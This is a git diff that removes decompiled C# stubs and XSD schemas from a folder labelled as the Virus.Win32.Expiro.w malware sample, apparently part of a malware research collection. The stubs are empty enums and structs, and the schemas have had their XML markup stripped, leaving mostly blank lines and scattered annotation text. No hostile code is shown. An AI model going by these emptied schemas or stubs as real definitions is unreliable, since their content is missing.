a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_tagINTERNETFEATURELIST.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_tagINTERNETFEATURELIST.cs deleted file mode 100644 index 8bb0e27b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_tagINTERNETFEATURELIST.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _tagINTERNETFEATURELIST -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _tagINTERNETFEATURELIST -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_tagOIBDG_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_tagOIBDG_FLAGS.cs deleted file mode 100644 index 3c09bdda..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_tagOIBDG_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _tagOIBDG_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _tagOIBDG_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_tagPARSEACTION.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_tagPARSEACTION.cs deleted file mode 100644 index 9e5ef16d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_tagPARSEACTION.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _tagPARSEACTION -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum _tagPARSEACTION -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_tagPI_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_tagPI_FLAGS.cs deleted file mode 100644 index 9beff904..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_tagPI_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _tagPI_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _tagPI_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_tagPSUACTION.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_tagPSUACTION.cs deleted file mode 100644 index 3eea96e9..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_tagPSUACTION.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _tagPSUACTION -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum _tagPSUACTION -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_tagQUERYOPTION.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_tagQUERYOPTION.cs deleted file mode 100644 index 19887cf6..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_tagQUERYOPTION.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _tagQUERYOPTION -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum _tagQUERYOPTION -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/addressing.xsd b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/addressing.xsd deleted file mode 100644 index b0c6780f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/addressing.xsd +++ /dev/null @@ -1,144 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/addressing04.xsd b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/addressing04.xsd deleted file mode 100644 index 6f66e747..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/addressing04.xsd +++ /dev/null @@ -1,133 +0,0 @@ - - - - - - - - - - - - - - - - - If "Policy" elements from namespace "http://schemas.xmlsoap.org/ws/2002/12/policy#policy" are used, they must appear first (before any extensibility elements). - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/gcroot_003CSystem_003A_003AString ^_003E.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/gcroot_003CSystem_003A_003AString ^_003E.cs deleted file mode 100644 index 6e330b3f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/gcroot_003CSystem_003A_003AString ^_003E.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: gcroot -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(65)] -[StructLayout(LayoutKind.Sequential, Size = 4)] -internal struct gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/identity.xsd b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/identity.xsd deleted file mode 100644 index 27c63856..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/identity.xsd +++ /dev/null @@ -1,434 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/localeinfo_struct.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/localeinfo_struct.cs deleted file mode 100644 index d6089c69..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/localeinfo_struct.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: localeinfo_struct -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[MiscellaneousBits(65)] -[NativeCppClass] -[DebugInfoInPDB] -[StructLayout(LayoutKind.Sequential, Size = 8)] -internal struct localeinfo_struct -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/oasis-200401-wss-wssecurity-secext-1/0.xsd b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/oasis-200401-wss-wssecurity-secext-1/0.xsd deleted file mode 100644 index 641798b1..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/oasis-200401-wss-wssecurity-secext-1/0.xsd +++ /dev/null @@ -1,195 +0,0 @@ - - - - - - - - - This type represents an element with arbitrary attributes. - - - - - - - - - - - This type is used for password elements per Section 4.1. - - - - - - - - - - This type is used for elements containing stringified binary data. - - - - - - - - - - This type represents a username token per Section 4.1 - - - - - - - - - - - A security token that is encoded in binary - - - - - - - - - - A security token key identifier - - - - - - - - - - Typedef to allow a list of usages (as URIs). - - - - - - This global attribute is used to indicate the usage of a referenced or indicated token within the containing context - - - - - This type represents a reference to an external security token. - - - - - - - - This type represents a reference to an embedded security token. - - - - - - - - - - This type is used reference a security token. - - - - - - - - - - - This complexType defines header block to use for security-relevant data directed at a specific SOAP actor. - - - - - The use of "any" is to allow extensibility and different forms of security data. - - - - - - - - This complexType defines a container for elements to be specified from any namespace as properties/parameters of a DSIG transformation. - - - - - The use of "any" is to allow extensibility from any namespace. - - - - - - - - This element defines the wsse:UsernameToken element per Section 4.1. - - - - - This element defines the wsse:BinarySecurityToken element per Section 4.2. - - - - - This element defines a security token reference - - - - - This element defines a security token embedded reference - - - - - This element defines a key identifier reference - - - - - This element defines the wsse:SecurityTokenReference per Section 4.3. - - - - - This element defines the wsse:Security SOAP header element per Section 4. - - - - - This element contains properties for transformations from any namespace, including DSIG. - - - - - - - - - - - - - - - - diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/oasis-200401-wss-wssecurity-utility-1/0.xsd b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/oasis-200401-wss-wssecurity-utility-1/0.xsd deleted file mode 100644 index f8d74e9c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/oasis-200401-wss-wssecurity-utility-1/0.xsd +++ /dev/null @@ -1,108 +0,0 @@ - - - - - - - -This type defines the fault code value for Timestamp message expiration. - - - - - - - - - - -This global attribute supports annotating arbitrary elements with an ID. - - - - - - -Convenience attribute group used to simplify this schema. - - - - - - - - - -This type is for elements whose [children] is a psuedo-dateTime and can have arbitrary attributes. - - - - - - - - - - - -This type is for elements whose [children] is an anyURI and can have arbitrary attributes. - - - - - - - - - - - - -This complex type ties together the timestamp related elements into a composite type. - - - - - - - - - - - - - - -This element allows Timestamps to be applied anywhere element wildcards are present, -including as a SOAP header. - - - - - - - -This element allows an expiration time to be applied anywhere element wildcards are present. - - - - - - -This element allows a creation time to be applied anywhere element wildcards are present. - - - - diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/std/_Uninitialized.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/std/_Uninitialized.cs deleted file mode 100644 index 4494f799..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/std/_Uninitialized.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: std._Uninitialized -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace std -{ - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(64)] - internal enum _Uninitialized - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagACTCTXW.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagACTCTXW.cs deleted file mode 100644 index a86eff3f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagACTCTXW.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagACTCTXW -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[NativeCppClass] -[MiscellaneousBits(65)] -[DebugInfoInPDB] -[StructLayout(LayoutKind.Sequential, Size = 32)] -internal struct tagACTCTXW -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagACTIVATEFLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagACTIVATEFLAGS.cs deleted file mode 100644 index 1d91bc92..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagACTIVATEFLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagACTIVATEFLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tagACTIVATEFLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagADVF.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagADVF.cs deleted file mode 100644 index 47903c36..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagADVF.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagADVF -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tagADVF -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagATTACHMENT_ACTION.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagATTACHMENT_ACTION.cs deleted file mode 100644 index 7947e77d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagATTACHMENT_ACTION.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagATTACHMENT_ACTION -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagATTACHMENT_ACTION -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagATTACHMENT_PROMPT.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagATTACHMENT_PROMPT.cs deleted file mode 100644 index 4a0db8cb..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagATTACHMENT_PROMPT.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagATTACHMENT_PROMPT -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagATTACHMENT_PROMPT -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagApplicationType.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagApplicationType.cs deleted file mode 100644 index 22c48367..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagApplicationType.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagApplicationType -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tagApplicationType -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagAspectInfoFlag.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagAspectInfoFlag.cs deleted file mode 100644 index e81f4e42..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagAspectInfoFlag.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagAspectInfoFlag -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagAspectInfoFlag -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagBINDSPEED.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagBINDSPEED.cs deleted file mode 100644 index da040858..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagBINDSPEED.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagBINDSPEED -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagBINDSPEED -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagBINDSTATUS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagBINDSTATUS.cs deleted file mode 100644 index 8aa05b68..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagBINDSTATUS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagBINDSTATUS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tagBINDSTATUS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagBINDSTRING.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagBINDSTRING.cs deleted file mode 100644 index 90df87a5..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagBINDSTRING.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler 